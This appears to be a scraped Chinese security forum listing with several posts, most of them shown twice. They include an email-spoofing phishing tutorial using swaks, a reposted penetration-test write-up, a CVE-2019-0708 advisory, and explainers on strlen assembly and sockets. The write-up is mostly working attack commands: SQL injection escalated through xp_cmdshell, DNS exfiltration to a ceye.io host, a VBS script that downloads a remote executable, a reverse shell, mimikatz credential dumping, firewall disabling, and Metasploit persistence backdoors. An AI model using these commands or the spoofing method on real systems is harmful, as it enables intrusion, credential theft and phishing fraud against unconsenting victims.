通过Email伪造发件人进行钓鱼攻击

网络安全wuyou 发表了文章 • 1 个评论 • 56 次浏览 • 6 天前 • 来自相关话题

最近本人在研究伪造电子邮件,目前进展缓慢,但因为东西比较多,所以就决定先把第一阶段的研究结果发出来。

 协议介绍
发送:SMTP(Simple Mail Transfer Protocol):SMTP主要负责底层的邮件系统如何将邮件从一台机器传至另外一台机器。SMTP协议默认端口:25

接受:POP(Post Office Protocol):版本为POP3,POP3是把邮件从电子邮箱中传输到本地计算机的协议。POP3协议默认端口:110

SMTP协议最基础的五条内容如下:Helo /Ehlo:表示与服务器内处理邮件的进程开始通话”介绍自己”;
Mail from:邮件信息的来源地址,也就是要伪造的地址 ;
Rcpt to:邮件接收者/受害者;
Data :邮件的具体内容/可以添加附件等;
Quit :退出邮件。工具介绍

我们可以使用Kali中的 Swaks(SMTP界的瑞士军刀) 工具进行伪造电子邮件--body //邮件内容
--from //邮件发送人(伪造内容)
--to //邮件接收人
--header "Subject: 邮件标题"
--ehlo qq.com //伪造邮件ehlo头,即是发件人邮箱的域名。提供身份认证
--data email.txt //将正常源邮件的内容保存成TXT文件,再作为正常邮件发送
--tls //加密传输









实战测试
首先,如果你想伪造一个qq邮箱用户向另一个qq邮箱用户发送邮件,或者163向qq发送,因为SPF记录的原因,这些是很难做到的SPF 记录实际上是服务器的一个 DNS 记录,原理其实很简单:

假设邮件服务器收到了一封邮件,来自主机的 IP 是173.194.72.103,并且声称发件人为email@example.com。
为了确认发件人不是伪造的,邮件服务器会去查询example.com的 SPF 记录。
邮件内容如如果该域的 SPF 记录设置允许 IP 为173.194.72.103的主机发送邮件,则服务器就认为这封邮件是合法的;
如果不允许,则通常会退信,或将其标记为垃圾/仿冒邮件。

因为不怀好心的人虽然可以「声称」他的邮件来自example.com,但是他却无权操作example.com的 DNS 记录;
同时他也无法伪造自己的 IP 地址,因此 SPF 是很有效的。
当前基本上所有的邮件服务提供商(例如 Gmail、QQ 邮箱等)都会验证它。






Linux下检测是否存在SPF记录:




 
选择一个没有SPF记录的域名,并发送至QQ邮箱时依然失败




 
原因可能如下:




 
如果我们在qq邮箱中增加白名单的话当然可以实现接受




 
不过比如huawei.com使用的就是软失败,可以发送但会被当做垃圾邮件放到垃圾箱中(具体能不能发还要看运气)
软失败;SPF记录已将主机指定为不被允许发送但正在转换;接受但标记
 
但是在163邮箱或其他企业邮箱中,我们可以轻松伪造发件人发送邮件




 
接下来介绍 --data 参数如何使用
选择一封正常的邮件,显示邮件原文




 
保存到txt文件中,并删掉To、From参数









 
 
实际效果:





其中的链接我都改成了钓鱼页面
具体可以参考这篇文章:http://www.freebuf.com/web/133689.html
但是这样会被检测到钓鱼邮件而被拒收或拉入垃圾箱中,所以具体要如何钓鱼还是要考大家的脑洞了

 
  查看全部
最近本人在研究伪造电子邮件,目前进展缓慢,但因为东西比较多,所以就决定先把第一阶段的研究结果发出来。

 协议介绍
发送:SMTP(Simple Mail Transfer Protocol):SMTP主要负责底层的邮件系统如何将邮件从一台机器传至另外一台机器。SMTP协议默认端口:25

接受:POP(Post Office Protocol):版本为POP3,POP3是把邮件从电子邮箱中传输到本地计算机的协议。POP3协议默认端口:110

SMTP协议最基础的五条内容如下:
Helo /Ehlo:表示与服务器内处理邮件的进程开始通话”介绍自己”;
Mail from:邮件信息的来源地址,也就是要伪造的地址 ;
Rcpt to:邮件接收者/受害者;
Data :邮件的具体内容/可以添加附件等;
Quit :退出邮件。
工具介绍

我们可以使用Kali中的 Swaks(SMTP界的瑞士军刀) 工具进行伪造电子邮件
--body //邮件内容
--from //邮件发送人(伪造内容)
--to //邮件接收人
--header "Subject: 邮件标题"
--ehlo qq.com //伪造邮件ehlo头,即是发件人邮箱的域名。提供身份认证
--data email.txt //将正常源邮件的内容保存成TXT文件,再作为正常邮件发送
--tls //加密传输
1.png


2.png


实战测试
首先,如果你想伪造一个qq邮箱用户向另一个qq邮箱用户发送邮件,或者163向qq发送,因为SPF记录的原因,这些是很难做到的
SPF 记录实际上是服务器的一个 DNS 记录,原理其实很简单:

假设邮件服务器收到了一封邮件,来自主机的 IP 是173.194.72.103,并且声称发件人为email@example.com。
为了确认发件人不是伪造的,邮件服务器会去查询example.com的 SPF 记录。
邮件内容如如果该域的 SPF 记录设置允许 IP 为173.194.72.103的主机发送邮件,则服务器就认为这封邮件是合法的;
如果不允许,则通常会退信,或将其标记为垃圾/仿冒邮件。

因为不怀好心的人虽然可以「声称」他的邮件来自example.com,但是他却无权操作example.com的 DNS 记录;
同时他也无法伪造自己的 IP 地址,因此 SPF 是很有效的。
当前基本上所有的邮件服务提供商(例如 Gmail、QQ 邮箱等)都会验证它。


3.png


Linux下检测是否存在SPF记录:
4.png

 
选择一个没有SPF记录的域名,并发送至QQ邮箱时依然失败
5.png

 
原因可能如下:
6.png

 
如果我们在qq邮箱中增加白名单的话当然可以实现接受
7.png

 
不过比如huawei.com使用的就是软失败,可以发送但会被当做垃圾邮件放到垃圾箱中(具体能不能发还要看运气)
软失败;SPF记录已将主机指定为不被允许发送但正在转换;接受但标记
 
但是在163邮箱或其他企业邮箱中,我们可以轻松伪造发件人发送邮件
8.png

 
接下来介绍 --data 参数如何使用
选择一封正常的邮件,显示邮件原文
9.png

 
保存到txt文件中,并删掉To、From参数
10.png


11.png

 
 
实际效果:

12.png

其中的链接我都改成了钓鱼页面
具体可以参考这篇文章:http://www.freebuf.com/web/133689.html
但是这样会被检测到钓鱼邮件而被拒收或拉入垃圾箱中,所以具体要如何钓鱼还是要考大家的脑洞了

 
 

strlen() 函数汇编代码简析

编程snow 发表了文章 • 0 个评论 • 25 次浏览 • 2019-06-10 21:06 • 来自相关话题

    在高级语言里,都有计算字符串长度的函数,例如 C 语言中的 strlen() 函数,该函数在优化编译模式下的汇编代码如下:mov ecx, FFFFFFFF
sub eax, eax
repnz
scasb
not ecx
dec ecx
je xxxxxx
因为这里边的 repnz 和 scasb 指令都没有见过,所以对这段代码很是不理解。在 intel 官方手册上,对这两个命令的解释是:while(--ecx)
{
if(*(edi++)==al)
{
break;
}

这样就很清楚了。上面的代码,就是
1.先将 ecx 设为-1
2.将 eax 设为0
3.开始循环,每次循环 ecx 先减去1,如果为0,则退出循环。如果不为0,则继续:
    然后将 al 中的值和 edi 中的字节进行比较,如果相等,则退出循环。
    否则,继续循环。每次循环 edi 都加上1,用以指向下一字节。
 
小问答:为什么要将 ecx 设为-1:ecx 设为-1可以方便的得到字符串的长度。每次循环 ecx 的值都减一,这样循环结束 ecx 的值取反再减去1就是循环的次数,也就是字符串的长度。
为什么要将 eax 设为0:因为在 C 里边,字符串都是以 “\0”进行结尾的。“\0”的 ascii 码为 “0”,所以 C 字符串也称为“ASCIIZ 字符串”,“Z”就代表着以“\0”为结束标志。所以将 edi 指向的字节和 eax 进行比较,若相等,则说明该字符串已经到达了结尾。
 
 
  查看全部
    在高级语言里,都有计算字符串长度的函数,例如 C 语言中的 strlen() 函数,该函数在优化编译模式下的汇编代码如下:
mov ecx, FFFFFFFF        
sub eax, eax
repnz
scasb
not ecx
dec ecx
je xxxxxx

因为这里边的 repnz 和 scasb 指令都没有见过,所以对这段代码很是不理解。在 intel 官方手册上,对这两个命令的解释是:
while(--ecx)
{
if(*(edi++)==al)
{
break;
}
}
 
这样就很清楚了。上面的代码,就是
1.先将 ecx 设为-1
2.将 eax 设为0
3.开始循环,每次循环 ecx 先减去1,如果为0,则退出循环。如果不为0,则继续:
    然后将 al 中的值和 edi 中的字节进行比较,如果相等,则退出循环。
    否则,继续循环。每次循环 edi 都加上1,用以指向下一字节。
 
小问答:为什么要将 ecx 设为-1:ecx 设为-1可以方便的得到字符串的长度。每次循环 ecx 的值都减一,这样循环结束 ecx 的值取反再减去1就是循环的次数,也就是字符串的长度。
为什么要将 eax 设为0:因为在 C 里边,字符串都是以 “\0”进行结尾的。“\0”的 ascii 码为 “0”,所以 C 字符串也称为“ASCIIZ 字符串”,“Z”就代表着以“\0”为结束标志。所以将 edi 指向的字节和 eax 进行比较,若相等,则说明该字符串已经到达了结尾。
 
 
 

2019年护网行动安全防御手册

渗透测试ttgo2 发表了文章 • 0 个评论 • 278 次浏览 • 2019-06-03 10:49 • 来自相关话题

各位小伙伴们,护网行动蓄势待发,赛克艾威团队在技术能力所及的范围,整理护网行动防御手册,希望能帮助到各位,也希望各位大佬多多指正。百度网盘,大家多多下载!!
链接:https://pan.baidu.com/s/1mxbYiihTXRMA1enFi5z44A 
提取码:g8rr 
复制这段内容后打开百度网盘手机App,操作更方便哦 查看全部
各位小伙伴们,护网行动蓄势待发,赛克艾威团队在技术能力所及的范围,整理护网行动防御手册,希望能帮助到各位,也希望各位大佬多多指正。百度网盘,大家多多下载!!
链接:https://pan.baidu.com/s/1mxbYiihTXRMA1enFi5z44A 
提取码:g8rr 
复制这段内容后打开百度网盘手机App,操作更方便哦

记一次渗透实战【转】

Web安全渗透wuyou 发表了文章 • 0 个评论 • 122 次浏览 • 2019-05-22 23:47 • 来自相关话题

信息收集
用dirsearch扫了一波目录没有发现什么东西

直接用主站域名解析的ip访问发现主站是挂有cdn的

subDomainsBrute 扫描子域名

其中一个子域没挂CDN,由此找到网站的真实ip

得到真实ip后nmap扫描发现8099端口有个未知应用

访问发现是个WEB服务,一个登陆界面漏洞利用
趁nmap还在工作的时候,简单浏览了下网站的功能,伪静态,整个网站也没有什么动态功能

遂把目光放在了nmap扫出的8099端口的web服务

常规测试admin/admin,提示密码错误

l3yx/xxxx,账号不存在

那么可以确定的是这里的账号和密码验证是分开的,确有admin账号。而且没有验证码,理论上可以爆破了,但我只手动测试了常见的几个弱口令,无果。
当输入一个单引号时(admin'/123123) ,惊喜来了,此处存在sqli!

于是很熟练的构造"万能密码",admin/x' or 'x'='x--

然后反应过来了,之前测试发现账号密码验证是分开的,后台的账号密码验证肯定并非 where username=xxx and password=xxx 这种简单的sql语句,所以继续测试观察报错信息


账号密码的验证貌似是调用了储存过程,类似如 execute @result= verify 'xxx','xxx';
当账号密码为admin/11','xx'--时,页面返回正常

由于不是很熟悉sqlserver使用存储过程的注入,想尝试构造出能成功登陆的payload没有成功,就换种思路。
sqlserver是默认可以堆叠查询的,所以只要把之前的语句闭合,那么就可以在其后执行任意sql语句,能执行任意sql语句,那么同样利用存储过程就可以执行系统命令
第一步先用如下语句开启扩展存储过程

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;


执行系统命令

exec master..xp_cmdshell "whoami"

这里是不会有回显的命令执行结果的,所以用ping命令来判断命令执行结果

命令执行结果DNS带外
有时候能执行命令却看不见结果也是很难受的,这里我还是想能够观察到命令执行结果,用到DNS带外的方法,其实就下面一条命令

cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"

实际测试的时候爬了很多坑,当前执行目录可能没有写权限,换到D目录
目标服务器貌似没有nslookup,换成ping
&&这两个字符一定要编码,否则被WEB服务器当做参数分隔符了
生成的temp文件要删除,否则下次执行会失败
sqlserver中一对双引号其中的双引号用两个双引号代替
最后的paylaod

exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";




直接就是system权限写入VBS下载木马
cmd命令行做不到下载文件,使用powershell容易被杀毒软件拦截,在该服务器上测试powershell命令也不成功,所以就用vbs来下载文件
vbs下载文件脚本:

iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2

用法:cscript D:/l.vbs http://xx.xx.xx.xx/x.exe D:/x.exe
所以先得利用sql注入执行命令把该脚本一点点写入文件,如下

echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbs
echo iRemote = LCase(WScript.Arguments(0))>>D:/l.vbs
echo Set xPost = CreateObject(""Microsoft.XMLHTTP"")>>D:/l.vbs
echo xPost.Open ""GET"",iRemote,0 >>D:/l.vbs
echo xPost.Send() >>D:/l.vbs
echo Set sGet = CreateObject(""ADODB.Stream"")>>D:/l.vbs
echo sGet.Mode = 3 >>D:/l.vbs
echo sGet.Type = 1 >>D:/l.vbs
echo sGet.Open()>>D:/l.vbs
echo sGet.Write(xPost.responseBody)>>D:/l.vbs
echo sGet.SaveToFile iLocal,2 >>D:/l.vbs

注意以上命令是不能全部用&&连接起来一起输入的,因为参数限制最大长度为 128,还有在sqlserver中双引号内输入双引号是需要输入两个双引号的,并不是用\转义,如图



在执行 cscript D:/l.vbs http://ip/x.exe D:/x.exe 命令后,看到服务器确有下载记录

说明vbs脚本写入成功而且确实下载了文件,但是执行 D:/x.exe 后没有收到shell怀疑是杀毒软件给拦了,但我确实做过免杀啊...
后来检查发现,该服务器是32位系统,而我用的是64位的payload,自然不会成功,后面换成32位的,成功弹回shell
信息收集

ipconfig

查了一下ip,发现处在内网

查看域用户

net group /domain

有中文乱码,本来想用chcp 65001切换成UTF-8代码页,但只要切换成UTF-8 shell就断,不知具体原因。不过utf-8不行的话chcp 437切换到IBM437英语好了
看到这里是没有域的,有点小失望

查看系统基本信息

systeminfo


查看端口,没开3389

netstat -ano


查看相邻主机IP

arp -a


抓用户hash


解密不成功的话可以用mimikatz直接抓取明文,metasploit已经内置,可以直接加载

load mimikatz

然后用kerberos命令抓取
或者用mimikatz_command执行mimikatz命令

mimikatz_command -f sekurlsa::logonPasswords

连接3389
目标3389是没有开启的,不过Win7、Win2003、XP系统可用如下命令开启

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f




关闭防火墙:

netsh firewall set opmode mode=disable

尝试关闭防火墙后还是连接不成功
测试发现3389端口仍然为closed

真是被自己蠢到了...
这台服务器是在内网,要连接自然的先把端口转发到公网上啊
metasploit端口转发:

portfwd add -l 3389 -p 3389 -r 192.168.50.2

这句命令是将目标(-r 192.168.50.2)的3389端口(-p 3389)转发到我服务器的3389端口(-l 3389)

然后打开远程桌面连接,ip即为我服务器的公网ip,端口由于也是设置的3389,所以不用改
内网扫描
要对目标内网进行扫描需要先添加一下路由

run autoroute -s 192.168.50.2/24


使用metasploit的portscan扫描一下内网存活的主机

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.50.2/24set ports 139, 445
exploit


有点慢呢,最后扫了一半还没发现其他主机就放弃了权限维持
metasploi Metsvc模块
这个使用很简单

run metsvc


其实是给目标开了一个服务

连接的话使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337
metasploi Persistence模块

run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx

-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址

清除脚本在下图位置

若要清除后门,在meterpreter运行该脚本即可

 
转自先知社区:https://xz.aliyun.com/t/5191 查看全部
信息收集
用dirsearch扫了一波目录没有发现什么东西

直接用主站域名解析的ip访问发现主站是挂有cdn的

subDomainsBrute 扫描子域名

其中一个子域没挂CDN,由此找到网站的真实ip

得到真实ip后nmap扫描发现8099端口有个未知应用

访问发现是个WEB服务,一个登陆界面漏洞利用
趁nmap还在工作的时候,简单浏览了下网站的功能,伪静态,整个网站也没有什么动态功能

遂把目光放在了nmap扫出的8099端口的web服务

常规测试admin/admin,提示密码错误

l3yx/xxxx,账号不存在

那么可以确定的是这里的账号和密码验证是分开的,确有admin账号。而且没有验证码,理论上可以爆破了,但我只手动测试了常见的几个弱口令,无果。
当输入一个单引号时(admin'/123123) ,惊喜来了,此处存在sqli!

于是很熟练的构造"万能密码",admin/x' or 'x'='x--

然后反应过来了,之前测试发现账号密码验证是分开的,后台的账号密码验证肯定并非 where username=xxx and password=xxx 这种简单的sql语句,所以继续测试观察报错信息


账号密码的验证貌似是调用了储存过程,类似如 execute @result= verify 'xxx','xxx';
当账号密码为admin/11','xx'--时,页面返回正常

由于不是很熟悉sqlserver使用存储过程的注入,想尝试构造出能成功登陆的payload没有成功,就换种思路。
sqlserver是默认可以堆叠查询的,所以只要把之前的语句闭合,那么就可以在其后执行任意sql语句,能执行任意sql语句,那么同样利用存储过程就可以执行系统命令
第一步先用如下语句开启扩展存储过程


EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;



执行系统命令


exec master..xp_cmdshell "whoami"


这里是不会有回显的命令执行结果的,所以用ping命令来判断命令执行结果

命令执行结果DNS带外
有时候能执行命令却看不见结果也是很难受的,这里我还是想能够观察到命令执行结果,用到DNS带外的方法,其实就下面一条命令


cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"


实际测试的时候爬了很多坑,当前执行目录可能没有写权限,换到D目录
目标服务器貌似没有nslookup,换成ping
&&这两个字符一定要编码,否则被WEB服务器当做参数分隔符了
生成的temp文件要删除,否则下次执行会失败
sqlserver中一对双引号其中的双引号用两个双引号代替
最后的paylaod


exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";





直接就是system权限写入VBS下载木马
cmd命令行做不到下载文件,使用powershell容易被杀毒软件拦截,在该服务器上测试powershell命令也不成功,所以就用vbs来下载文件
vbs下载文件脚本:


iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2


用法:cscript D:/l.vbs http://xx.xx.xx.xx/x.exe D:/x.exe
所以先得利用sql注入执行命令把该脚本一点点写入文件,如下


echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbs
echo iRemote = LCase(WScript.Arguments(0))>>D:/l.vbs
echo Set xPost = CreateObject(""Microsoft.XMLHTTP"")>>D:/l.vbs
echo xPost.Open ""GET"",iRemote,0 >>D:/l.vbs
echo xPost.Send() >>D:/l.vbs
echo Set sGet = CreateObject(""ADODB.Stream"")>>D:/l.vbs
echo sGet.Mode = 3 >>D:/l.vbs
echo sGet.Type = 1 >>D:/l.vbs
echo sGet.Open()>>D:/l.vbs
echo sGet.Write(xPost.responseBody)>>D:/l.vbs
echo sGet.SaveToFile iLocal,2 >>D:/l.vbs


注意以上命令是不能全部用&&连接起来一起输入的,因为参数限制最大长度为 128,还有在sqlserver中双引号内输入双引号是需要输入两个双引号的,并不是用\转义,如图



在执行 cscript D:/l.vbs http://ip/x.exe D:/x.exe 命令后,看到服务器确有下载记录

说明vbs脚本写入成功而且确实下载了文件,但是执行 D:/x.exe 后没有收到shell怀疑是杀毒软件给拦了,但我确实做过免杀啊...
后来检查发现,该服务器是32位系统,而我用的是64位的payload,自然不会成功,后面换成32位的,成功弹回shell
信息收集


ipconfig


查了一下ip,发现处在内网

查看域用户


net group /domain


有中文乱码,本来想用chcp 65001切换成UTF-8代码页,但只要切换成UTF-8 shell就断,不知具体原因。不过utf-8不行的话chcp 437切换到IBM437英语好了
看到这里是没有域的,有点小失望

查看系统基本信息


systeminfo



查看端口,没开3389


netstat -ano



查看相邻主机IP


arp -a



抓用户hash


解密不成功的话可以用mimikatz直接抓取明文,metasploit已经内置,可以直接加载


load mimikatz


然后用kerberos命令抓取
或者用mimikatz_command执行mimikatz命令


mimikatz_command -f sekurlsa::logonPasswords


连接3389
目标3389是没有开启的,不过Win7、Win2003、XP系统可用如下命令开启


REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f





关闭防火墙:


netsh firewall set opmode mode=disable


尝试关闭防火墙后还是连接不成功
测试发现3389端口仍然为closed

真是被自己蠢到了...
这台服务器是在内网,要连接自然的先把端口转发到公网上啊
metasploit端口转发:


portfwd add -l 3389 -p 3389 -r 192.168.50.2


这句命令是将目标(-r 192.168.50.2)的3389端口(-p 3389)转发到我服务器的3389端口(-l 3389)

然后打开远程桌面连接,ip即为我服务器的公网ip,端口由于也是设置的3389,所以不用改
内网扫描
要对目标内网进行扫描需要先添加一下路由


run autoroute -s 192.168.50.2/24



使用metasploit的portscan扫描一下内网存活的主机


use auxiliary/scanner/portscan/tcp
set rhosts 192.168.50.2/24set ports 139, 445
exploit



有点慢呢,最后扫了一半还没发现其他主机就放弃了权限维持
metasploi Metsvc模块
这个使用很简单


run metsvc



其实是给目标开了一个服务

连接的话使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337
metasploi Persistence模块


run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx


-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址

清除脚本在下图位置

若要清除后门,在meterpreter运行该脚本即可

 
转自先知社区:https://xz.aliyun.com/t/5191

漏洞预警-Windows远程桌面服务远程代码执行漏洞(CVE-2019-0708)

安全资讯zksmile 发表了文章 • 0 个评论 • 90 次浏览 • 2019-05-15 12:12 • 来自相关话题

漏洞背景5月14日,微软官方5月份发布了安全补丁更新,其中Windows远程桌面服务远程代码执行漏洞(CVE-2019-0708),影响范围广。本次漏洞的影响程度严重,微软也针对已经停止更新的windows版本也发布了安全补丁。
目前暂未公布漏洞细节,建议在系统影响范围内的用户尽快安装补丁进行修复。漏洞描述远程桌面服务(以前称为终端服务)中存在远程执行代码漏洞。当未经身份验证的攻击者使用RDP连接到目标系统并发送特制请求时,成功利用此漏洞的攻击者可以在目标系统上执行任意代码漏洞编号CVE-2019-0708漏洞等级高危


影响范围Windows 7 for 32-bit SP1

Windows 7 for x64-based SP1

Windows Server 2008 for 32-bit SP2

Windows Server 2008 for 32-bit SP2 (Server Core installation)

Windows Server 2008 for Itanium-Based SP2

Windows Server 2008 for x64-based SP2

Windows Server 2008 for x64-based SP2 (Server Core installation)

Windows Server 2008 R2 for Itanium-BasedSystems SP1

Windows Server 2008 R2 for x64-based SP1

Windows Server 2008 R2 for x64-based SP1 (Server Core installation)

Windows XP SP3 x86

Windows XP SP2 x64

Windows XP Embedded SP3 x86

Windows Server 2003 SP2 x86

Windows Server 2003 SP2 x64


缓解措施1.如果不需要,请禁用远程桌面服务
如果您的系统不再需要这些服务,请考虑禁用它们作为安全性最佳实践。禁用未使用和不需要的服务有助于减少您的安全漏洞风险。
2.启用网络级别身份验证(NLA)
启用网络级别身份验证,以阻止未经身份验证的攻击者利用此漏洞。启用NLA后,攻击者首先需要使用目标系统上的有效帐户对远程桌面服务进行身份验证,然后才能利用此漏洞。
3.外网防火墙处阻止TCP端口3389
TCP端口3389用于启动与受影响组件的连接。在网络外围防火墙处阻止此端口将有助于保护防火墙后面的系统免于尝试利用此漏洞。这有助于保护网络免受来自企业外部的攻击。阻止企业外围的受影响端口是帮助避免基于Internet的攻击的最佳防御。但是,系统仍然可能容易受到企业外围攻击。


修复建议1、及时安装更新

对于Windows 7及Windows Server 2008的用户,及时安装Windows发布的安全更新。

[url](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708)[/url]

2、升级到最新版本

对于Windows 2003及Windows XP的用户,请及时更新到最新系统版本。微软在KB4500705中为这些不支持的Windows版本提供了修复程序。

[url](https://support.microsoft.com/zh-cn/help/4500705/customer-guidance-for-cve-2019-0708)[/url]

应急电话010-86460828-8002 查看全部
漏洞背景
5月14日,微软官方5月份发布了安全补丁更新,其中Windows远程桌面服务远程代码执行漏洞(CVE-2019-0708),影响范围广。本次漏洞的影响程度严重,微软也针对已经停止更新的windows版本也发布了安全补丁。
目前暂未公布漏洞细节,建议在系统影响范围内的用户尽快安装补丁进行修复。
漏洞描述
远程桌面服务(以前称为终端服务)中存在远程执行代码漏洞。当未经身份验证的攻击者使用RDP连接到目标系统并发送特制请求时,成功利用此漏洞的攻击者可以在目标系统上执行任意代码
漏洞编号
CVE-2019-0708
漏洞等级
高危


影响范围
Windows 7 for 32-bit SP1

Windows 7 for x64-based SP1

Windows Server 2008 for 32-bit SP2

Windows Server 2008 for 32-bit SP2 (Server Core installation)

Windows Server 2008 for Itanium-Based SP2

Windows Server 2008 for x64-based SP2

Windows Server 2008 for x64-based SP2 (Server Core installation)

Windows Server 2008 R2 for Itanium-BasedSystems SP1

Windows Server 2008 R2 for x64-based SP1

Windows Server 2008 R2 for x64-based SP1 (Server Core installation)

Windows XP SP3 x86

Windows XP SP2 x64

Windows XP Embedded SP3 x86

Windows Server 2003 SP2 x86

Windows Server 2003 SP2 x64


缓解措施
1.如果不需要,请禁用远程桌面服务
如果您的系统不再需要这些服务,请考虑禁用它们作为安全性最佳实践。禁用未使用和不需要的服务有助于减少您的安全漏洞风险。
2.启用网络级别身份验证(NLA)
启用网络级别身份验证,以阻止未经身份验证的攻击者利用此漏洞。启用NLA后,攻击者首先需要使用目标系统上的有效帐户对远程桌面服务进行身份验证,然后才能利用此漏洞。
3.外网防火墙处阻止TCP端口3389
TCP端口3389用于启动与受影响组件的连接。在网络外围防火墙处阻止此端口将有助于保护防火墙后面的系统免于尝试利用此漏洞。这有助于保护网络免受来自企业外部的攻击。阻止企业外围的受影响端口是帮助避免基于Internet的攻击的最佳防御。但是,系统仍然可能容易受到企业外围攻击。


修复建议
1、及时安装更新

对于Windows 7及Windows Server 2008的用户,及时安装Windows发布的安全更新。

[url](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708)[/url]

2、升级到最新版本

对于Windows 2003及Windows XP的用户,请及时更新到最新系统版本。微软在KB4500705中为这些不支持的Windows版本提供了修复程序。

[url](https://support.microsoft.com/zh-cn/help/4500705/customer-guidance-for-cve-2019-0708)[/url]

应急电话
010-86460828-8002

socket与http协议的关系

协议安全jizi_smile 发表了文章 • 0 个评论 • 49 次浏览 • 2019-05-12 21:02 • 来自相关话题

Socket:
Socket本身并不是协议,而是一个调用接口(API),它只是提供了一个针对TCP或者UDP编程的接口。​
socket是对TCP/IP协议的封装和应用,TPC/IP协议是传输层协议,主要解决数据如何在网络中传输
通过Socket,我们才能使用TCP/IP协议。实际上,Socket跟TCP/IP协议没有必然的联系。Socket编程接口在设计的时候,就希望也能适应其他的网络协议。所以说,Socket的出现只是使得程序员更方便地使用TCP/IP协议栈而已,是对TCP/IP协议的抽象,从而形成了我们知道的一些最基本的函数接口,比如create、listen、connect、accept、send、read和write等等。
 
Socket和TCP/IP协议的关系
网络有一段关于socket和TCP/IP协议关系的说法比较容易理解:“TCP/IP只是一个协议栈,就像操作系统的运行机制一样,必须要具体实现,同时还要提供对外的操作接。
这个就像操作系统会提供标准的编程接口,比如win32编程接口一样,
TCP/IP也要提供可供程序员做网络开发所用的接口,这就是Socket编程接口。”HTTP和Socket的关系
CSDN上有个比较形象的描述:
HTTP是轿车,提供了封装或者显示数据的具体形式;Socket是发动机,提供了网络通信的能力。利用Socket建立网络连接的步骤
 
建立Socket连接至少需要一对套接字,其中一个运行于客户端,称为ClientSocket ,另一个运行于服务器端,称为ServerSocket 。
1、服务器监听:服务器端套接字并不定位具体的客户端套接字,而是处于等待连接的状态,实时监控网络状态,等待客户端的连接请求。
2、客户端请求:指客户端的套接字提出连接请求,要连接的目标是服务器端的套接字。为此,客户端的套接字必须首先描述它要连接的服务器的套接字,指出服务器端套接字的地址和端口号,然后就向服务器端套接字提出连接请求。
3、连接确认:当服务器端套接字监听到或者说接收到客户端套接字的连接请求时,就响应客户端套接字的请求,建立一个新的线程,把服务器端套接字的描述发给客户端,一旦客户端确认了此描述,双方就正式建立连接。
而服务器端套接字继续处于监听状态,继续接收其他客户端套接字的连接请求。HTTP链接的特点
HTTP协议即超文本传送协议(Hypertext Transfer Protocol ),是Web联网的基础,也是手机联网常用的协议之一,HTTP协议是建立在TCP协议之上的一种应用。
HTTP连接最显著的特点是客户端发送的每次请求都需要服务器回送响应,在请求结束后,会主动释放连接。从建立连接到关闭连接的过程称为“一次连接”。
 
 
发这篇文章是因为看python全栈视频的时候老师说全部是用socket链接起来的emm。。。。
节选自:(https://blog.csdn.net/wangnan9279/article/details/77895261) 查看全部
Socket:
Socket本身并不是协议,而是一个调用接口(API),它只是提供了一个针对TCP或者UDP编程的接口。​
socket是对TCP/IP协议的封装和应用,TPC/IP协议是传输层协议,主要解决数据如何在网络中传输
